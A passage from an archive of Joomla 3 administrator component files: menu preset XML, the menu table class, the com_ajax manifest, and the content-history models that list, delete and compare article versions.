			scope="help"
		/>
		<menuitem
			type="separator"
		/>
		<menuitem
			type="url"
			target="_blank"
			title="MOD_MENU_HELP_EXTENSIONS"
			link="https://extensions.joomla.org"
			class="class:help-jed"
			scope="help"
		/>
		<menuitem
			type="url"
			target="_blank"
			title="MOD_MENU_HELP_TRANSLATIONS"
			link="https://community.joomla.org/translations.html"
			class="class:help-trans"
			scope="help"
		/>
		<menuitem
			type="url"
			target="_blank"
			title="MOD_MENU_HELP_RESOURCES"
			link="https://community.joomla.org/service-providers-directory/"
			class="class:help-jrd"
			scope="help"
		/>
		<menuitem
			type="url"
			target="_blank"
			title="MOD_MENU_HELP_COMMUNITY"
			link="https://community.joomla.org"
			class="class:help-community"
			scope="help"
		/>
		<menuitem
			type="url"
			target="_blank"
			title="MOD_MENU_HELP_SECURITY"
			link="https://developer.joomla.org/security-centre.html"
			class="class:help-security"
			scope="help"
		/>
		<menuitem
			type="url"
			target="_blank"
			title="MOD_MENU_HELP_DEVELOPER"
			link="https://developer.joomla.org"
			class="class:help-dev"
			scope="help"
		/>
		<menuitem
			type="url"
			target="_blank"
			title="MOD_MENU_HELP_XCHANGE"
			link="https://joomla.stackexchange.com"
			class="class:help-dev"
			scope="help"
		/>
		<menuitem
			type="url"
			target="_blank"
			title="MOD_MENU_HELP_SHOP"
			link="https://community.joomla.org/the-joomla-shop.html"
			class="class:help-shop"
			scope="help"
		/>
	</menuitem>
</menu>
com_menus/presets/modern.xml000060400000037106152455305260012236 0ustar00<?xml version="1.0"?>
<menu
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xmlns="urn:joomla.org"
	xsi:schemaLocation="urn:joomla.org menu.xsd">
	<menuitem
		title="MOD_MENU_SYSTEM"
		type="heading"
		>
		<menuitem
			type="component"
			title="MOD_MENU_CONTROL_PANEL"
			link="index.php"
			element="com_cpanel"
			class="class:cpanel"
		/>
		<menuitem
			type="separator"
		/>
		<menuitem
			title="MOD_MENU_CONFIGURATION"
			type="component"
			element="com_config"
			link="index.php?option=com_config"
			class="class:config"
		/>
		<menuitem
			type="separator"
		/>
		<menuitem
			title="MOD_MENU_GLOBAL_CHECKIN"
			type="component"
			element="com_checkin"
			link="index.php?option=com_checkin"
			class="class:checkin"
		/>
		<menuitem
			title="MOD_MENU_CLEAR_CACHE"
			type="component"
			element="com_cache"
			link="index.php?option=com_cache"
			class="class:clear"
		/>
		<menuitem
			title="MOD_MENU_PURGE_EXPIRED_CACHE"
			type="component"
			element="com_cache"
			link="index.php?option=com_cache&amp;view=purge"
			class="class:purge"
		/>
		<menuitem
			type="separator"
		/>
		<menuitem
			title="MOD_MENU_SYSTEM_INFORMATION"
			type="component"
			element="com_admin"
			link="index.php?option=com_admin&amp;view=sysinfo"
			class="class:info"
		/>
	</menuitem>
	<menuitem
		title="MOD_MENU_COM_USERS_USERS"
		type="heading"
		>
		<menuitem
			title="MOD_MENU_COM_USERS_USER_MANAGER"
			type="component"
			element="com_users"
			link="index.php?option=com_users&amp;view=users"
			class="class:user">
			<menuitem
				title="MOD_MENU_COM_USERS_ADD_USER"
				type="component"
				element="com_users"
				link="index.php?option=com_users&amp;task=user.add"
				class="class:newarticle"
				scope="edit"
			/>
		</menuitem>
		<menuitem
			title="MOD_MENU_COM_USERS_GROUPS"
			type="component"
			element="com_users"
			link="index.php?option=com_users&amp;view=groups"
			class="class:groups">
			<menuitem
				title="MOD_MENU_COM_USERS_ADD_GROUP"
				type="component"
				element="com_users"
				link="index.php?option=com_users&amp;task=group.add"
				class="class:newarticle"
				scope="edit"
			/>
		</menuitem>
		<menuitem
			title="MOD_MENU_COM_USERS_LEVELS"
			type="component"
			element="com_users"
			link="index.php?option=com_users&amp;view=levels"
			class="class:levels">
			<menuitem
				title="MOD_MENU_COM_USERS_ADD_LEVEL"
				type="component"
				element="com_users"
				link="index.php?option=com_users&amp;task=level.add"
				class="class:newarticle"
				scope="edit"
			/>
		</menuitem>
		<menuitem
			type="separator"
		/>
		<menuitem
			title="MOD_MENU_FIELDS"
			type="component"
			element="com_fields"
			link="index.php?option=com_fields&amp;context=com_users.user"
			class="class:fields"
		/>
		<menuitem
			title="MOD_MENU_FIELDS_GROUP"
			type="component"
			element="com_fields"
			link="index.php?option=com_fields&amp;view=groups&amp;context=com_users.user"
			class="class:category"
		/>
		<menuitem
			type="separator"
		/>
		<menuitem
			title="MOD_MENU_COM_USERS_NOTES"
			type="component"
			element="com_users"
			link="index.php?option=com_users&amp;view=notes"
			class="class:user-note">
			<menuitem
				title="MOD_MENU_COM_USERS_ADD_NOTE"
				type="component"
				element="com_users"
				link="index.php?option=com_users&amp;task=note.add"
				class="class:newarticle"
				scope="edit"
			/>
		</menuitem>
		<menuitem
			title="MOD_MENU_COM_USERS_NOTE_CATEGORIES"
			type="component"
			element="com_categories"
			link="index.php?option=com_categories&amp;view=categories&amp;extension=com_users"
			class="class:category">
			<menuitem
				title="MOD_MENU_COM_CONTENT_NEW_CATEGORY"
				type="component"
				element="com_categories"
				link="index.php?option=com_categories&amp;task=category.add&amp;extension=com_users"
				class="class:newarticle"
				scope="edit"
			/>
		</menuitem>
		<menuitem
			type="separator"
		/>
		<menuitem
			title="MOD_MENU_COM_PRIVACY"
			type="component"
			element="com_privacy"
			link="index.php?option=com_privacy"
			class="class:privacy"
		/>
		<menuitem
			title="MOD_MENU_COM_ACTIONLOGS"
			type="component"
			element="com_actionlogs"
			link="index.php?option=com_actionlogs"
			class="class:userlogs"
		/>
		<menuitem
			type="separator"
		/>
		<menuitem
			title="MOD_MENU_MASS_MAIL_USERS"
			type="component"
			element="com_users"
			link="index.php?option=com_users&amp;view=mail"
			class="class:massmail"
			scope="massmail"
		/>
	</menuitem>
	<menuitem
		title="MOD_MENU_MENUS"
		type="heading"
		>
		<menuitem
			title="MOD_MENU_MENU_MANAGER"
			type="component"
			element="com_menus"
			link="index.php?option=com_menus&amp;view=menus"
			class="class:menumgr">
			<menuitem
				title="MOD_MENU_MENU_MANAGER_NEW_MENU"
				type="component"
				element="com_menus"
				link="index.php?option=com_menus&amp;view=menu&amp;layout=edit"
				class="class:newarticle"
				scope="edit"
			/>
		</menuitem>
		<menuitem
			type="separator"
		/>
		<menuitem
			title="MOD_MENU_MENUS_ALL_ITEMS"
			type="component"
			element="com_menus"
			link="index.php?option=com_menus&amp;view=items&amp;menutype="
			class="class:allmenu"
		/>
		<!--
		Following is an example of repeatable group based on simple database query.
		This requires sql_* attributes (sql_select and sql_from are required)
		The values can be used like - "{sql:columnName}" in any attribute of repeated elements.
		The repeated elements are place inside this xml node but they will be populated in the same level in the rendered menu
		-->
		<menuitem
			type="separator"
			title="JSITE"
			hidden="false"
			sql_select="a.title, a.menutype, CASE COALESCE(SUM(m.home), 0) WHEN 0 THEN '' WHEN 1 THEN CASE m.language WHEN '*' THEN 'class:icon-home' ELSE CONCAT('image:mod_languages/', l.image, '.gif') END ELSE 'image:mod_languages/icon-16-language.png' END AS icon"
			sql_from="#__menu_types AS a"
			sql_where="a.client_id = 0"
			sql_leftjoin="#__menu AS m ON m.menutype = a.menutype AND m.home = 1 LEFT JOIN #__languages AS l ON l.lang_code = m.language"
			sql_group="a.id, m.language, l.image"
			sql_order="a.title ASC">
			<menuitem
				title="{sql:title} "
				type="component"
				element="com_menus"
				link="index.php?option=com_menus&amp;view=items&amp;menutype={sql:menutype}"
				icon="{sql:icon}"
				class="class:menu">
				<menuitem
					title="MOD_MENU_MENU_MANAGER_NEW_MENU_ITEM"
					type="component"
					element="com_menus"
					link="index.php?option=com_menus&amp;view=item&amp;layout=edit&amp;menutype={sql:menutype}"
					class="class:menu"
					scope="edit"
				/>
			</menuitem>
		</menuitem>
		<menuitem
			type="separator"
			title="JADMINISTRATOR"
			hidden="false"
			sql_select="title, menutype"
			sql_from="#__menu_types"
			sql_where="client_id = 1"
			sql_order="title ASC">
			<menuitem
				title="{sql:title}"
				type="component"
				element="com_menus"
				link="index.php?option=com_menus&amp;view=items&amp;menutype={sql:menutype}"
				class="class:menu">
				<menuitem
					title="MOD_MENU_MENU_MANAGER_NEW_MENU_ITEM"
					type="component"
					element="com_menus"
					link="index.php?option=com_menus&amp;view=item&amp;layout=edit&amp;menutype={sql:menutype}"
					class="class:menu"
					scope="edit"
				/>
			</menuitem>
		</menuitem>
	</menuitem>
	<menuitem
		title="MOD_MENU_COM_CONTENT"
		type="heading"
		>
		<menuitem
			title="MOD_MENU_COM_CONTENT_ARTICLE_MANAGER"
			type="component"
			element="com_content"
			link="index.php?option=com_content"
			class="class:article">
			<menuitem
				title="MOD_MENU_COM_CONTENT_NEW_ARTICLE"
				type="component"
				element="com_content"
				link="index.php?option=com_content&amp;task=article.add"
				class="class:newarticle"
				scope="edit"
			/>
		</menuitem>
		<menuitem
			title="MOD_MENU_COM_CONTENT_CATEGORY_MANAGER"
			type="component"
			element="com_categories"
			link="index.php?option=com_categories&amp;extension=com_content"
			class="class:category">
			<menuitem
				title="MOD_MENU_COM_CONTENT_NEW_CATEGORY"
				type="component"
				element="com_categories"
				link="index.php?option=com_categories&amp;task=category.add&amp;extension=com_content"
				class="class:newarticle"
				scope="edit"
			/>
		</menuitem>
		<menuitem
			title="MOD_MENU_COM_CONTENT_FEATURED"
			type="component"
			element="com_content"
			link="index.php?option=com_content&amp;view=featured"
			class="class:featured"
		/>
		<menuitem
			type="separator"
		/>
		<menuitem
			title="MOD_MENU_FIELDS"
			type="component"
			element="com_fields"
			link="index.php?option=com_fields&amp;context=com_content.article"
			class="class:fields"
		/>
		<menuitem
			title="MOD_MENU_FIELDS_GROUP"
			type="component"
			element="com_fields"
			link="index.php?option=com_fields&amp;view=groups&amp;context=com_content.article"
			class="class:category"
		/>
		<menuitem
			type="separator"
		/>
		<menuitem
			title="MOD_MENU_MEDIA_MANAGER"
			type="component"
			element="com_media"
			link="index.php?option=com_media"
			class="class:media"
		/>
	</menuitem>
	<menuitem
		title="MOD_MENU_COMPONENTS"
		type="container"
	>
		<params><![CDATA[{"hideitems":["com_joomlaupdate","com_postinstall"]}]]></params>
	</menuitem>
	<menuitem
		title="MOD_MENU_EXTENSIONS_EXTENSION_MANAGER"
		type="heading"
	>
		<menuitem
			title="COM_JOOMLAUPDATE"
			type="component"
			element="com_joomlaupdate"
			link="index.php?option=com_joomlaupdate"
			class="class:component"
		/>
		<menuitem
			title="COM_POSTINSTALL"
			type="component"
			element="com_postinstall"
			link="index.php?option=com_postinstall"
			class="class:component"
		/>
		<menuitem
			type="separator"
		/>
		<menuitem
			title="MOD_MENU_SYSTEM"
			type="component"
			element="com_installer"
			link="index.php?option=com_installer&amp;view=database"
			class="class:install">

			<menuitem
				title="MOD_MENU_INSTALLER_SUBMENU_DATABASE"
				type="component"
				element="com_installer"
				link="index.php?option=com_installer&amp;view=database"
				class="class:install"
			/>
			<menuitem
				title="MOD_MENU_INSTALLER_SUBMENU_WARNINGS"
				type="component"
				element="com_installer"
				link="index.php?option=com_installer&amp;view=warnings"
				class="class:install"
			/>
			<menuitem
				title="MOD_MENU_INSTALLER_SUBMENU_UPDATESITES"
				type="component"
				element="com_installer"
				link="index.php?option=com_installer&amp;view=updatesites"
				class="class:install"
			/>
		</menuitem>
		<menuitem
			title="MOD_MENU_EXTENSIONS_EXTENSIONS"
			type="component"
			element="com_installer"
			link="index.php?option=com_installer&amp;view=manage"
			class="class:install">
			<menuitem
				title="MOD_MENU_INSTALLER_SUBMENU_INSTALL"
				type="component"
				element="com_installer"
				link="index.php?option=com_installer&amp;view=install"
				class="class:install"
			/>
			<menuitem
				title="MOD_MENU_INSTALLER_SUBMENU_UPDATE"
				type="component"
				element="com_installer"
				link="index.php?option=com_installer&amp;view=update"
				class="class:install"
			/>
			<menuitem
				title="MOD_MENU_INSTALLER_SUBMENU_MANAGE"
				type="component"
				element="com_installer"
				link="index.php?option=com_installer&amp;view=manage"
				class="class:install"
			/>
			<menuitem
				title="MOD_MENU_INSTALLER_SUBMENU_DISCOVER"
				type="component"
				element="com_installer"
				link="index.php?option=com_installer&amp;view=discover"
				class="class:install"
			/>
			<menuitem
				type="separator"
			/>
			<menuitem
				title="MOD_MENU_INSTALLER_SUBMENU_LANGUAGES"
				type="component"
				element="com_installer"
				link="index.php?option=com_installer&amp;view=languages"
				class="class:install"
			/>
		</menuitem>
		<menuitem
			type="separator"
		/>
		<menuitem
			title="MOD_MENU_EXTENSIONS_MODULE_MANAGER"
			type="component"
			element="com_modules"
			link="index.php?option=com_modules"
			class="class:module"
		/>
		<menuitem
			title="MOD_MENU_EXTENSIONS_PLUGIN_MANAGER"
			type="component"
			element="com_plugins"
			link="index.php?option=com_plugins"
			class="class:plugin"
		/>
		<menuitem
			title="MOD_MENU_EXTENSIONS_TEMPLATE_MANAGER"
			type="component"
			element="com_templates"
			link="index.php?option=com_templates"
			class="class:themes">
			<menuitem
				title="MOD_MENU_COM_TEMPLATES_SUBMENU_STYLES"
				type="component"
				element="com_templates"
				link="index.php?option=com_templates&amp;view=styles"
				class="class:themes"
			/>
			<menuitem
				title="MOD_MENU_COM_TEMPLATES_SUBMENU_TEMPLATES"
				type="component"
				element="com_templates"
				link="index.php?option=com_templates&amp;view=templates"
				class="class:themes"
			/>
		</menuitem>
		<menuitem
			title="MOD_MENU_EXTENSIONS_LANGUAGE_MANAGER"
			type="component"
			element="com_languages"
			link="index.php?option=com_languages"
			class="class:language">
			<menuitem
				title="MOD_MENU_COM_LANGUAGES_SUBMENU_INSTALLED"
				type="component"
				element="com_languages"
				link="index.php?option=com_languages&amp;view=installed"
				class="class:language"
			/>
			<menuitem
				title="MOD_MENU_COM_LANGUAGES_SUBMENU_CONTENT"
				type="component"
				element="com_languages"
				link="index.php?option=com_languages&amp;view=languages"
				class="class:language"
			/>
			<menuitem
				title="MOD_MENU_COM_LANGUAGES_SUBMENU_OVERRIDES"
				type="component"
				element="com_languages"
				link="index.php?option=com_languages&amp;view=overrides"
				class="class:language"
			/>
		</menuitem>
	</menuitem>
	<menuitem
		title="MOD_MENU_HELP"
		type="heading"
		>
		<menuitem
			type="component"
			title="MOD_MENU_HELP_JOOMLA"
			element="com_admin"
			link="index.php?option=com_admin&amp;view=help"
			class="class:help"
			scope="help"
		/>
		<menuitem
			type="separator"
		/>
		<menuitem
			type="url"
			target="_blank"
			title="MOD_MENU_HELP_SUPPORT_OFFICIAL_FORUM"
			link="https://forum.joomla.org"
			class="class:help-forum"
			scope="help"
		/>
		<menuitem
			type="url"
			target="_blank"
			title="MOD_MENU_HELP_SUPPORT_CUSTOM_FORUM"
			link="special:custom-forum"
			class="class:help-forum"
			scope="help"
		/>
		<menuitem
			type="url"
			target="_blank"
			title="MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM"
			link="special:language-forum"
			class="class:help-forum"
			scope="help"
		/>
		<menuitem
			type="url"
			target="_blank"
			title="MOD_MENU_HELP_DOCUMENTATION"
			link="https://docs.joomla.org"
			class="class:help-docs"
			scope="help"
		/>
		<menuitem
			type="separator"
		/>
		<menuitem
			type="url"
			target="_blank"
			title="MOD_MENU_HELP_EXTENSIONS"
			link="https://extensions.joomla.org"
			class="class:help-jed"
			scope="help"
		/>
		<menuitem
			type="url"
			target="_blank"
			title="MOD_MENU_HELP_TRANSLATIONS"
			link="https://community.joomla.org/translations.html"
			class="class:help-trans"
			scope="help"
		/>
		<menuitem
			type="url"
			target="_blank"
			title="MOD_MENU_HELP_RESOURCES"
			link="https://community.joomla.org/service-providers-directory/"
			class="class:help-jrd"
			scope="help"
		/>
		<menuitem
			type="url"
			target="_blank"
			title="MOD_MENU_HELP_COMMUNITY"
			link="https://community.joomla.org"
			class="class:help-community"
			scope="help"
		/>
		<menuitem
			type="url"
			target="_blank"
			title="MOD_MENU_HELP_SECURITY"
			link="https://developer.joomla.org/security-centre.html"
			class="class:help-security"
			scope="help"
		/>
		<menuitem
			type="url"
			target="_blank"
			title="MOD_MENU_HELP_DEVELOPER"
			link="https://developer.joomla.org"
			class="class:help-dev"
			scope="help"
		/>
		<menuitem
			type="url"
			target="_blank"
			title="MOD_MENU_HELP_XCHANGE"
			link="https://joomla.stackexchange.com"
			class="class:help-dev"
			scope="help"
		/>
		<menuitem
			type="url"
			target="_blank"
			title="MOD_MENU_HELP_SHOP"
			link="https://community.joomla.org/the-joomla-shop.html"
			class="class:help-shop"
			scope="help"
		/>
	</menuitem>
</menu>
com_menus/tables/menu.php000060400000002055152455305260011465 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Menu table
 *
 * @since  1.6
 */
class MenusTableMenu extends JTableMenu
{
	/**
	 * Method to delete a node and, optionally, its child nodes from the table.
	 *
	 * @param   integer  $pk        The primary key of the node to delete.
	 * @param   boolean  $children  True to delete child nodes, false to move them up a level.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 */
	public function delete($pk = null, $children = false)
	{
		$return = parent::delete($pk, $children);

		if ($return)
		{
			// Delete key from the #__modules_menu table
			$db = JFactory::getDbo();
			$query = $db->getQuery(true)
				->delete($db->quoteName('#__modules_menu'))
				->where($db->quoteName('menuid') . ' = ' . $pk);
			$db->setQuery($query);
			$db->execute();
		}

		return $return;
	}
}
com_ajax/ajax.xml000060400000001711152455305260007775 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.2" method="upgrade">
	<name>com_ajax</name>
	<author>Joomla! Project</author>
	<creationDate>August 2013</creationDate>
	<copyright>(C) 2013 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.2.0</version>
	<description>COM_AJAX_XML_DESCRIPTION</description>

	<files folder="site">
		<filename>ajax.php</filename>
	</files>
	<languages folder="site">
		<language tag="en-GB">language/en-GB.com_ajax.ini</language>
	</languages>

	<administration>
		<files folder="admin">
			<filename>ajax.php</filename>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_ajax.ini</language>
			<language tag="en-GB">language/en-GB.com_ajax.sys.ini</language>
		</languages>
	</administration>
</extension>
com_contenthistory/models/history.php000060400000024204152455305260014200 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contenthistory
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Methods supporting a list of contenthistory records.
 *
 * @since  3.2
 */
class ContenthistoryModelHistory extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JControllerLegacy
	 * @since   3.2
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'version_id',
				'h.version_id',
				'version_note',
				'h.version_note',
				'save_date',
				'h.save_date',
				'editor_user_id',
				'h.editor_user_id',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to test whether a record is editable
	 *
	 * @param   JTableContenthistory  $record  A JTable object.
	 *
	 * @return  boolean  True if allowed to edit the record. Defaults to the permission set in the component.
	 *
	 * @since   3.2
	 */
	protected function canEdit($record)
	{
		$result = false;

		if (!empty($record->ucm_type_id))
		{
			// Check that the type id matches the type alias
			$typeAlias = JFactory::getApplication()->input->get('type_alias');

			/** @var JTableContenttype $contentTypeTable */
			$contentTypeTable = JTable::getInstance('Contenttype', 'JTable');

			if ($contentTypeTable->getTypeId($typeAlias) == $record->ucm_type_id)
			{
				/**
				 * Make sure user has edit privileges for this content item. Note that we use edit permissions
				 * for the content item, not delete permissions for the content history row.
				 */
				$user   = JFactory::getUser();
				$result = $user->authorise('core.edit', $typeAlias . '.' . (int) $record->ucm_item_id);
			}

			// Finally try session (this catches edit.own case too)
			if (!$result)
			{
				$contentTypeTable->load($record->ucm_type_id);
				$typeEditables = (array) JFactory::getApplication()->getUserState(str_replace('.', '.edit.', $contentTypeTable->type_alias) . '.id');
				$result = in_array((int) $record->ucm_item_id, $typeEditables);
			}
		}

		return $result;
	}

	/**
	 * Method to test whether a history record can be deleted. Note that we check whether we have edit permissions
	 * for the content item row.
	 *
	 * @param   JTableContenthistory  $record  A JTable object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the permission set in the component.
	 *
	 * @since   3.6
	 */
	protected function canDelete($record)
	{
		return $this->canEdit($record);
	}

	/**
	 * Method to delete one or more records from content history table.
	 *
	 * @param   array  $pks  An array of record primary keys.
	 *
	 * @return  boolean  True if successful, false if an error occurs.
	 *
	 * @since   3.2
	 */
	public function delete(&$pks)
	{
		$pks = (array) $pks;
		$table = $this->getTable();

		// Iterate the items to delete each one.
		foreach ($pks as $i => $pk)
		{
			if ($table->load($pk))
			{
				if ((int) $table->keep_forever === 1)
				{
					unset($pks[$i]);
					continue;
				}

				if ($this->canEdit($table))
				{
					if (!$table->delete($pk))
					{
						$this->setError($table->getError());

						return false;
					}
				}
				else
				{
					// Prune items that you can't change.
					unset($pks[$i]);
					$error = $this->getError();

					if ($error)
					{
						try
						{
							JLog::add($error, JLog::WARNING, 'jerror');
						}
						catch (RuntimeException $exception)
						{
							JFactory::getApplication()->enqueueMessage($error, 'warning');
						}

						return false;
					}
					else
					{
						try
						{
							JLog::add(JText::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED'), JLog::WARNING, 'jerror');
						}
						catch (RuntimeException $exception)
						{
							JFactory::getApplication()->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED'), 'warning');
						}

						return false;
					}
				}
			}
			else
			{
				$this->setError($table->getError());

				return false;
			}
		}

		// Clear the component's cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Method to get an array of data items.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 *
	 * @since   3.4.5
	 */
	public function getItems()
	{
		$items = parent::getItems();
		$user = JFactory::getUser();

		if ($items === false)
		{
			return false;
		}

		// This should be an array with at least one element
		if (!is_array($items) || !isset($items[0]))
		{
			return $items;
		}

		// Get the content type's record so we can check ACL
		/** @var JTableContenttype $contentTypeTable */
		$contentTypeTable = JTable::getInstance('Contenttype');
		$ucmTypeId        = $items[0]->ucm_type_id;

		if (!$contentTypeTable->load($ucmTypeId))
		{
			// Assume a failure to load the content type means broken data, abort mission
			return false;
		}

		// Access check
		if ($user->authorise('core.edit', $contentTypeTable->type_alias . '.' . (int) $items[0]->ucm_item_id) || $this->canEdit($items[0]))
		{
			return $items;
		}
		else
		{
			$this->setError(JText::_('JERROR_ALERTNOAUTHOR'));

			return false;
		}
	}

	/**
	 * Method to get a table object, load it if necessary.
	 *
	 * @param   string  $type    The table name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A JTable object
	 *
	 * @since   3.2
	 */
	public function getTable($type = 'Contenthistory', $prefix = 'JTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Method to toggle on and off the keep forever value for one or more records from content history table.
	 *
	 * @param   array  $pks  An array of record primary keys.
	 *
	 * @return  boolean  True if successful, false if an error occurs.
	 *
	 * @since   3.2
	 */
	public function keep(&$pks)
	{
		$pks = (array) $pks;
		$table = $this->getTable();

		// Iterate the items to delete each one.
		foreach ($pks as $i => $pk)
		{
			if ($table->load($pk))
			{
				if ($this->canEdit($table))
				{
					$table->keep_forever = $table->keep_forever ? 0 : 1;

					if (!$table->store())
					{
						$this->setError($table->getError());

						return false;
					}
				}
				else
				{
					// Prune items that you can't change.
					unset($pks[$i]);
					$error = $this->getError();

					if ($error)
					{
						try
						{
							JLog::add($error, JLog::WARNING, 'jerror');
						}
						catch (RuntimeException $exception)
						{
							JFactory::getApplication()->enqueueMessage($error, 'warning');
						}

						return false;
					}
					else
					{
						try
						{
							JLog::add(JText::_('COM_CONTENTHISTORY_ERROR_KEEP_NOT_PERMITTED'), JLog::WARNING, 'jerror');
						}
						catch (RuntimeException $exception)
						{
							JFactory::getApplication()->enqueueMessage(JText::_('COM_CONTENTHISTORY_ERROR_KEEP_NOT_PERMITTED'), 'warning');
						}

						return false;
					}
				}
			}
			else
			{
				$this->setError($table->getError());

				return false;
			}
		}

		// Clear the component's cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	protected function populateState($ordering = 'h.save_date', $direction = 'DESC')
	{
		$input = JFactory::getApplication()->input;
		$itemId = $input->get('item_id', 0, 'integer');
		$typeId = $input->get('type_id', 0, 'integer');
		$typeAlias = $input->get('type_alias', '', 'string');

		$this->setState('item_id', $itemId);
		$this->setState('type_id', $typeId);
		$this->setState('type_alias', $typeAlias);
		$this->setState('sha1_hash', $this->getSha1Hash());

		// Load the parameters.
		$params = JComponentHelper::getParams('com_contenthistory');
		$this->setState('params', $params);

		// List state information.
		parent::populateState($ordering, $direction);
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery
	 *
	 * @since   3.2
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
				'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
			)
		)
			->from($db->quoteName('#__ucm_history') . ' AS h')
			->where($db->quoteName('h.ucm_item_id') . ' = ' . (int) $this->getState('item_id'))
			->where($db->quoteName('h.ucm_type_id') . ' = ' . (int) $this->getState('type_id'))

		// Join over the users for the editor
			->select('uc.name AS editor')
			->join('LEFT', '#__users AS uc ON uc.id = h.editor_user_id');

		// Add the list ordering clause.
		$orderCol = $this->state->get('list.ordering');
		$orderDirn = $this->state->get('list.direction');
		$query->order($db->quoteName($orderCol) . $orderDirn);

		return $query;
	}

	/**
	 * Get the sha1 hash value for the current item being edited.
	 *
	 * @return  string  sha1 hash of row data
	 *
	 * @since   3.2
	 */
	protected function getSha1Hash()
	{
		$result = false;
		$typeTable = JTable::getInstance('Contenttype', 'JTable');
		$typeId = JFactory::getApplication()->input->getInteger('type_id', 0);
		$typeTable->load($typeId);
		$typeAliasArray = explode('.', $typeTable->type_alias);
		JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/' . $typeAliasArray[0] . '/tables');
		$contentTable = $typeTable->getContentTable();
		$keyValue = JFactory::getApplication()->input->getInteger('item_id', 0);

		if ($contentTable && $contentTable->load($keyValue))
		{
			$helper = new JHelper;

			$dataObject = $helper->getDataObject($contentTable);
			$result = $this->getTable('Contenthistory', 'JTable')->getSha1(json_encode($dataObject), $typeTable);
		}

		return $result;
	}
}
com_contenthistory/models/compare.php000060400000010635152455305260014130 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contenthistory
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ContenthistoryHelper', JPATH_ADMINISTRATOR . '/components/com_contenthistory/helpers/contenthistory.php');

/**
 * Methods supporting a list of contenthistory records.
 *
 * @since  3.2
 */
class ContenthistoryModelCompare extends JModelItem
{
	/**
	 * Method to get a version history row.
	 *
	 * @return  array|boolean    On success, array of populated tables. False on failure.
	 *
	 * @since   3.2
	 */
	public function getItems()
	{
		$input = JFactory::getApplication()->input;

		/** @var JTableContenthistory $table1 */
		$table1 = JTable::getInstance('Contenthistory');

		/** @var JTableContenthistory $table2 */
		$table2 = JTable::getInstance('Contenthistory');

		$id1 = $input->getInt('id1');
		$id2 = $input->getInt('id2');

		if (!$id1 || \is_array($id1) || !$id2 || \is_array($id2))
		{
			$this->setError(\JText::_('COM_CONTENTHISTORY_ERROR_INVALID_ID'));

			return false;
		}

		$result = array();

		if ($table1->load($id1) && $table2->load($id2))
		{
			// Get the first history record's content type record so we can check ACL
			/** @var JTableContenttype $contentTypeTable */
			$contentTypeTable = JTable::getInstance('Contenttype');
			$ucmTypeId        = $table1->ucm_type_id;

			if (!$contentTypeTable->load($ucmTypeId))
			{
				$this->setError(\JText::_('COM_CONTENTHISTORY_ERROR_FAILED_LOADING_CONTENT_TYPE'));

				// Assume a failure to load the content type means broken data, abort mission
				return false;
			}

			$user = JFactory::getUser();

			// Access check
			if ($user->authorise('core.edit', $contentTypeTable->type_alias . '.' . (int) $table1->ucm_item_id) || $this->canEdit($table1))
			{
				$return = true;
			}
			else
			{
				$this->setError(JText::_('JERROR_ALERTNOAUTHOR'));

				return false;
			}

			// All's well, process the records
			if ($return == true)
			{
				foreach (array($table1, $table2) as $table)
				{
					$object = new stdClass;
					$object->data = ContenthistoryHelper::prepareData($table);
					$object->version_note = $table->version_note;

					// Let's use custom calendars when present
					$object->save_date = JHtml::_('date', $table->save_date, JText::_('DATE_FORMAT_LC6'));

					$dateProperties = array (
						'modified_time',
						'created_time',
						'modified',
						'created',
						'checked_out_time',
						'publish_up',
						'publish_down',
					);

					foreach ($dateProperties as $dateProperty)
					{
						if (property_exists($object->data, $dateProperty) && $object->data->$dateProperty->value != '0000-00-00 00:00:00')
						{
							$object->data->$dateProperty->value = JHtml::_('date', $object->data->$dateProperty->value, JText::_('DATE_FORMAT_LC6'));
						}
					}
